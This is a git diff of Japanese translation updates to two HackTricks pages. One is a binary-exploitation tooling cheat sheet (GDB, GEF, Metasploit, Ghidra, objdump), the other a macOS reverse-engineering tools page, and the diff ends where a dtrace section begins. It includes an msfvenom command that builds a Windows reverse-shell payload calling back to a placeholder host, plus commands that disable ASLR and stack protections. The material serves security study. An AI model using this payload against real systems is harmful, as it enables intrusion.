mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['exploiting/tools/README.md', 'macos-hardening/macos-securit
This commit is contained in:
parent
919937b2f9
commit
588ecfe69e
3 changed files with 287 additions and 256 deletions
|
@ -1,19 +1,20 @@
|
|||
# Exploiting Tools
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Metasploit
|
||||
## Metasploit
|
||||
```
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
|
@ -21,81 +22,96 @@ nasm_shell.rb
|
|||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
## シェルコード
|
||||
### シェルコード
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
# GDB
|
||||
## GDB
|
||||
|
||||
## インストール
|
||||
### インストール
|
||||
```
|
||||
apt-get install gdb
|
||||
```
|
||||
## パラメータ
|
||||
|
||||
**-q** --> バナーを表示しない\
|
||||
**-x \<file>** --> ここからGDB命令を自動実行\
|
||||
**-p \<pid>** --> プロセスにアタッチ
|
||||
|
||||
### 命令
|
||||
|
||||
\> **disassemble main** --> 関数を逆アセンブル\
|
||||
\> **disassemble 0x12345678**\
|
||||
\> **set disassembly-flavor intel**\
|
||||
\> **set follow-fork-mode child/parent** --> 作成されたプロセスをフォロー\
|
||||
\> **p system** --> system関数のアドレスを見つける\
|
||||
\> **help**\
|
||||
\> **quit**
|
||||
|
||||
\> **br func** --> 関数にブレークポイントを追加\
|
||||
\> **br \*func+23**\
|
||||
\> **br \*0x12345678**\
|
||||
**> del NUM** --> その数のブレークポイントを削除\
|
||||
\> **watch EXPRESSION** --> 値が変更されたら中断
|
||||
|
||||
**> run** --> 実行\
|
||||
**> start** --> メインで開始して中断\
|
||||
\> **n/next** --> 次の命令を実行(内部なし)\
|
||||
\> **s/step** --> 次の命令を実行\
|
||||
\> **c/continue** --> 次のブレークポイントまで継続
|
||||
|
||||
\> **set $eip = 0x12345678** --> $eipの値を変更\
|
||||
\> **info functions** --> 関数に関する情報\
|
||||
\> **info functions func** --> 関数の情報\
|
||||
\> **info registers** --> レジスタの値\
|
||||
\> **bt** --> スタック\
|
||||
\> **bt full** --> 詳細なスタック
|
||||
|
||||
\> **print variable**\
|
||||
\> **print 0x87654321 - 0x12345678** --> 計算\
|
||||
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 8進数/16進数/10進数/バイナリ/命令/ASCIIで内容を表示
|
||||
|
||||
* **x/o 0xDir\_hex**
|
||||
* **x/2x $eip** --> EIPから2ワード
|
||||
* **x/2x $eip -4** --> $eip - 4
|
||||
* **x/8xb $eip** --> 8バイト(b-> バイト, h-> 2バイト, w-> 4バイト, g-> 8バイト)
|
||||
* **i r eip** --> $eipの値
|
||||
* **x/w pointer** --> ポインタの値
|
||||
* **x/s pointer** --> ポインタが指す文字列
|
||||
* **x/xw \&pointer** --> ポインタがあるアドレス
|
||||
* **x/i $eip** —> EIPの命令
|
||||
|
||||
## [GEF](https://github.com/hugsy/gef)
|
||||
### パラメータ
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
### 手順
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
n/next/ni # Execute next instruction (no inside)
|
||||
s/step/si # Execute next instruction
|
||||
c/continue # Continue until next breakpoint
|
||||
p system # Find the address of the system function
|
||||
set $eip = 0x12345678 # Change value of $eip
|
||||
help # Get help
|
||||
quit # exit
|
||||
|
||||
# Disassemble
|
||||
disassemble main # Disassemble the function called main
|
||||
disassemble 0x12345678 # Disassemble taht address
|
||||
set disassembly-flavor intel # Use intel syntax
|
||||
set follow-fork-mode child/parent # Follow child/parent process
|
||||
|
||||
# Breakpoints
|
||||
br func # Add breakpoint to function
|
||||
br *func+23
|
||||
br *0x12345678
|
||||
del <NUM> # Delete that number of breakpoint
|
||||
watch EXPRESSION # Break if the value changes
|
||||
|
||||
# info
|
||||
info functions --> Info abount functions
|
||||
info functions func --> Info of the funtion
|
||||
info registers --> Value of the registers
|
||||
bt # Backtrace Stack
|
||||
bt full # Detailed stack
|
||||
print variable
|
||||
print 0x87654321 - 0x12345678 # Caculate
|
||||
|
||||
# x/examine
|
||||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||
x/o 0xDir_hex
|
||||
x/2x $eip # 2Words from EIP
|
||||
x/2x $eip -4 # $eip - 4
|
||||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
i r eip # Value of $eip
|
||||
x/w pointer # Value of the pointer
|
||||
x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
GEF(GDB Enhanced Features)は、GDBのPython拡張プラグインであり、デバッグ中に役立つさまざまな機能を提供します。
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
search-pattern "/bin/sh" #Search in the process memory
|
||||
vmmap #Get memory mappings
|
||||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||
got #Check got table
|
||||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
# Vulns detection
|
||||
format-string-helper #Detect insecure format strings
|
||||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
|
@ -110,22 +126,22 @@ gef➤ pattern search 0x6261617762616176
|
|||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
## テクニック
|
||||
### テクニック
|
||||
|
||||
### GDB同じアドレス
|
||||
#### GDBで同じアドレス
|
||||
|
||||
デバッグ中には、GDBは**実行時にバイナリで使用されるアドレスとはわずかに異なるアドレスを持つことがあります。** GDBに同じアドレスを持たせるには、次のようにします:
|
||||
デバッグ中には、GDBは**実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDBに同じアドレスを持たせるには、次のようにします:
|
||||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<path>` _バイナリへの絶対パスを入力_
|
||||
* 同じ絶対ルートを使用してバイナリをエクスプロイト
|
||||
* 同じ絶対パスを使用してバイナリをエクスプロイト
|
||||
* GDBを使用するときとバイナリをエクスプロイトするときには、`PWD`と`OLDPWD`が同じである必要があります
|
||||
|
||||
### 関数呼び出しを見つけるためのバックトレース
|
||||
#### 関数呼び出しを見つけるためのバックトレース
|
||||
|
||||
**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**かもしれません。\
|
||||
**gdb**を使用してバイナリを**実行**し、入力を求められるまで実行します。その後、**CTRL+C**で停止し、**`bt`**(**バックトレース**)コマンドを使用して呼び出された関数を確認できます:
|
||||
**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**でしょう。\
|
||||
**gdb**を使用してバイナリを実行し、入力を求められるまで実行します。その後、**CTRL+C**で停止し、**`bt`**(**バックトレース**)コマンドを使用して呼び出された関数を確認できます:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -134,32 +150,32 @@ gef➤ bt
|
|||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
## GDB サーバー
|
||||
### GDB サーバー
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947`(IDAでは、Linux マシンと Windows マシンの実行可能ファイルの絶対パスを入力する必要があります)
|
||||
|
||||
# Ghidra
|
||||
## Ghidra
|
||||
|
||||
## スタックオフセットの検索
|
||||
### スタックオフセットの検索
|
||||
|
||||
**Ghidra** は、**ローカル変数の位置情報によってバッファオーバーフローのためのオフセットを見つけるのに非常に役立ちます。**\
|
||||
たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリィクッキーである場合、`local_bc` からそれを上書きするためのオフセットは `0xac` です。\
|
||||
**Ghidra** は、**ローカル変数の位置情報により、** **バッファオーバーフローのオフセットを見つけるのに非常に役立ちます。**\
|
||||
たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリーコンキーである場合、`local_bc` からそれを上書きするには `0xac` のオフセットが必要です。\
|
||||
_RIP が保存される最初の 0x08 は RBP に属していることを覚えておいてください。_
|
||||
|
||||
![](<../../.gitbook/assets/image (616).png>)
|
||||
|
||||
# GCC
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイルする\
|
||||
**-o** --> 出力\
|
||||
**-g** --> コードを保存(GDB で表示可能)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効化する
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効にする
|
||||
|
||||
**シェルコードをコンパイルする方法:**\
|
||||
**nasm -f elf assembly.asm** --> ".o" を返す\
|
||||
**ld assembly.o -o shellcodeout** --> 実行可能ファイル
|
||||
|
||||
# Objdump
|
||||
## Objdump
|
||||
|
||||
**-d** --> 実行可能ファイルのセクションを逆アセンブルする(コンパイルされたシェルコードのオペコードを見る、ROP ガジェットを見つける、関数アドレスを見つけるなど)\
|
||||
**-Mintel** --> Intel 構文\
|
||||
|
@ -167,18 +183,18 @@ _RIP が保存される最初の 0x08 は RBP に属していることを覚え
|
|||
**-D** --> すべてを逆アセンブル(静的変数のアドレス)\
|
||||
**-s -j .dtors** --> dtors セクション\
|
||||
**-s -j .got** --> got セクション\
|
||||
\-D -s -j .plt --> plt セクションの逆コンパイル\
|
||||
\-D -s -j .plt --> plt セクションを逆コンパイル\
|
||||
**-TR** --> リロケーション\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" を変更するためのアドレス\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらは DATA セクションに格納されています)。
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらは DATA セクションに保存されています)。
|
||||
|
||||
# コアダンプ
|
||||
## Core ダンプ
|
||||
|
||||
1. プログラムを開始する前に `ulimit -c unlimited` を実行します
|
||||
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します
|
||||
3. `sudo gdb --core=\<path/core> --quiet` を実行します
|
||||
|
||||
# その他
|
||||
## その他
|
||||
|
||||
**ldd executable | grep libc.so.6** --> アドレス(ASLR の場合、毎回変わります)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> アドレスが大幅に変化するかどうかを確認するためのループ\
|
||||
|
@ -188,34 +204,33 @@ _RIP が保存される最初の 0x08 は RBP に属していることを覚え
|
|||
**strace executable** --> 実行可能ファイルが呼び出す関数\
|
||||
**rabin2 -i ejecutable -->** すべての関数のアドレス
|
||||
|
||||
# **Inmunity debugger**
|
||||
## **Inmunity debugger**
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
# IDA
|
||||
## IDA
|
||||
|
||||
## リモートLinuxでのデバッグ
|
||||
### リモートLinuxでのデバッグ
|
||||
|
||||
IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、_linux\_server_または_linux\_server64_バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダー内で実行します:
|
||||
IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、_linux\_server_または_linux\_server64_バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダー内で実行します。
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Debugger (linux remote)の設定: デバッガー --> プロセスオプション...:
|
||||
その後、デバッガーを設定します:デバッガー(Linuxリモート)→プロセスオプション...:
|
||||
|
||||
![](<../../.gitbook/assets/image (101).png>)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**。
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -87,20 +87,20 @@ ldid -S/tmp/entl.xml <binary>
|
|||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)は、**.pkg**ファイル(インストーラー)を検査し、インストールする前に中身を確認するのに役立つツールです。\
|
||||
これらのインストーラーには、通常、マルウェアの作者が悪用する`preinstall`および`postinstall` bashスクリプトが含まれており、**マルウェアを** **持続化**するために使用されます。
|
||||
これらのインストーラーには、通常、マルウェア作者が悪用する`preinstall`および`postinstall` bashスクリプトが含まれており、**マルウェアを** **持続化**するために悪用されます。
|
||||
|
||||
### hdiutil
|
||||
|
||||
このツールは、Appleディスクイメージ(**.dmg**)ファイルを**マウント**して、実行する前にそれらを検査することを可能にします:
|
||||
このツールを使用すると、Appleディスクイメージ(**.dmg**)ファイルを**マウント**して、実行する前にそれらを検査することができます。
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
### Objective-C
|
||||
|
||||
#### メタデータ
|
||||
#### Metadata
|
||||
|
||||
{% hint style="danger" %}
|
||||
Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされる際に、クラス宣言を**保持**します。このようなクラス宣言には、以下の情報が含まれます:
|
||||
Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされる際に、クラスの宣言を保持します。このようなクラスの宣言には、以下の情報が含まれます:
|
||||
|
||||
* クラス
|
||||
* クラスメソッド
|
||||
|
@ -119,25 +119,33 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
|
|||
|
||||
この関数が期待するパラメータは次のとおりです:
|
||||
|
||||
- 最初のパラメータ (**self**) は、「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言うと、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクト全体のインスタンスになりますが、インスタンスメソッドの場合、selfはクラスのインスタンスとしてインスタンス化されたインスタンスを指します。
|
||||
- 2番目のパラメータ (**op**) は、「メッセージを処理するメソッドのセレクタ」です。単純に言うと、これは**メソッドの名前**です。
|
||||
- 残りのパラメータは、メソッドで必要な**値**です (op)。
|
||||
- 最初のパラメータ (**self**) は、「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言うと、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス(全体として)、インスタンスメソッドの場合、selfはクラスのインスタンスとしてインスタンス化されたインスタンスを指します。
|
||||
- 2番目のパラメータ (**op**) は、「メッセージを処理するメソッドのセレクタ」です。簡単に言うと、これは**メソッドの名前**です。
|
||||
- 残りのパラメータは、メソッドで必要な**値**です(op)。
|
||||
|
||||
ARM64で`lldb`を使用してこの情報を簡単に取得する方法は、このページで確認できます:
|
||||
|
||||
{% content-ref url="arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
x64:
|
||||
|
||||
| **引数** | **レジスタ** | **(for) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
|
||||
| **2番目の引数** | **rsi** | **op: メソッドの名前** |
|
||||
| **3番目の引数** | **rdx** | **メソッドへの最初の引数** |
|
||||
| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** |
|
||||
| **5番目の引数** | **r8** | **メソッドへの3番目の引数** |
|
||||
| **6番目の引数** | **r9** | **メソッドへの4番目の引数** |
|
||||
| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
|
||||
| **2番目の引数** | **rsi** | **op: メソッドの名前** |
|
||||
| **3番目の引数** | **rdx** | **メソッドへの最初の引数** |
|
||||
| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** |
|
||||
| **5番目の引数** | **r8** | **メソッドへの3番目の引数** |
|
||||
| **6番目の引数** | **r9** | **メソッドへの4番目の引数** |
|
||||
| **7番目以降の引数** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの5番目以降の引数** |
|
||||
|
||||
### Swift
|
||||
|
||||
Swiftバイナリでは、Objective-C互換性があるため、[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出することができますが、常にではありません。
|
||||
Swiftバイナリでは、Objective-Cとの互換性があるため、[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出することができますが、常に成功するわけではありません。
|
||||
|
||||
**`jtool -l`**または**`otool -l`**コマンドラインを使用すると、**`__swift5`**接頭辞で始まる複数のセクションを見つけることができます:
|
||||
**`jtool -l`**または**`otool -l`**コマンドラインを使用すると、**`__swift5`**接頭辞で始まる複数のセクションを見つけることができます。
|
||||
```bash
|
||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||
|
@ -149,9 +157,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
さらなる情報は、[**このブログポスト**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)でこのセクションに保存されている情報について見つけることができます。
|
||||
さらなる情報は、[**このブログ投稿**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)でこのセクションに保存されている情報について見つけることができます。
|
||||
|
||||
さらに、**Swiftバイナリにはシンボルが含まれる可能性があります**(たとえば、ライブラリは関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれており、見た目は醜い**ため、非常に役立ちます。そして、**"デマングラー"**があり、元の名前を取得できます。
|
||||
さらに、**Swift バイナリにはシンボルが含まれる可能性があります**(たとえば、ライブラリは関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名や属性に関する情報が醜い方法で含まれている**ため、非常に役立ちます。そして、**"デマングラー"**がオリジナルの名前を取得できます。
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -172,28 +180,28 @@ swift demangle
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
macOS上の`cloudconfigurationd`などの**システムバイナリ**を**インストール**するには、**SIPを無効**にする必要があります(署名を削除するだけでは機能しません)。
|
||||
macOSで`cloudconfigurationd`などの**システムバイナリ**を**インストールする**には、**SIPを無効にする**必要があります(署名を削除するだけでは機能しません)。
|
||||
{% endhint %}
|
||||
|
||||
### 統合ログ
|
||||
|
||||
MacOSは多くのログを生成しますが、これらはアプリケーションを実行している際に非常に役立ち、**何をしているか**を理解しようとする際に非常に役立ちます。
|
||||
MacOSは多くのログを生成しますが、これらはアプリケーションを実行して**何をしているか**を理解しようとする際に非常に役立ちます。
|
||||
|
||||
さらに、一部のログには`<private>`というタグが含まれ、一部の**ユーザー**や**コンピューター**の**識別可能な**情報を**非表示**にするためのものです。ただし、**この情報を開示するための証明書をインストール**することが可能です。[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
|
||||
さらに、一部のログには`<private>`というタグが含まれ、一部の**ユーザー**や**コンピューター**の**識別可能な**情報を**非表示**にします。ただし、**この情報を開示するための証明書をインストール**することが可能です。[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
|
||||
|
||||
### Hopper
|
||||
|
||||
#### 左パネル
|
||||
|
||||
Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはすべての文字列ではありませんが、Mac-Oファイルのさまざまな部分で定義されているものです(例:_cstringまたは`objc_methname`)。
|
||||
Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはすべての文字列ではありませんが、Mac-Oファイルのさまざまな部分で定義されたものです(例:_cstringまたは`objc_methname`)。
|
||||
|
||||
#### 中央パネル
|
||||
|
||||
中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生の**逆アセンブル、**グラフ**、**逆コンパイル**、**バイナリ**を見ることができます。それぞれのアイコンをクリックして切り替えることができます:
|
||||
中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生の**逆アセンブル、**グラフ**、**逆コンパイル**、**バイナリ**を見ることができます。それぞれのアイコンをクリックして切り替えます:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照/参照元**を見ることができます。また、名前を変更することもできます(逆コンパイルされた擬似コードでは機能しません):
|
||||
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照**や名前の変更を見ることができます(逆コンパイルされた擬似コードでは機能しません):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -201,11 +209,11 @@ Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、
|
|||
|
||||
#### 右パネル
|
||||
|
||||
右パネルでは、**ナビゲーション履歴**(現在の状況に到達するまでの経緯を把握できる)、この関数を**呼び出すすべての関数**およびこの関数が**呼び出すすべての関数**を表示する**コールグラフ**、**ローカル変数**情報など、興味深い情報を見ることができます。
|
||||
右パネルでは、**ナビゲーション履歴**(現在の状況に到達するまでの経緯を把握するため)、この関数を**呼び出すすべての関数**とこの関数が**呼び出すすべての関数**を表示する**コールグラフ**、**ローカル変数**情報など、興味深い情報を見ることができます。
|
||||
|
||||
### dtrace
|
||||
|
||||
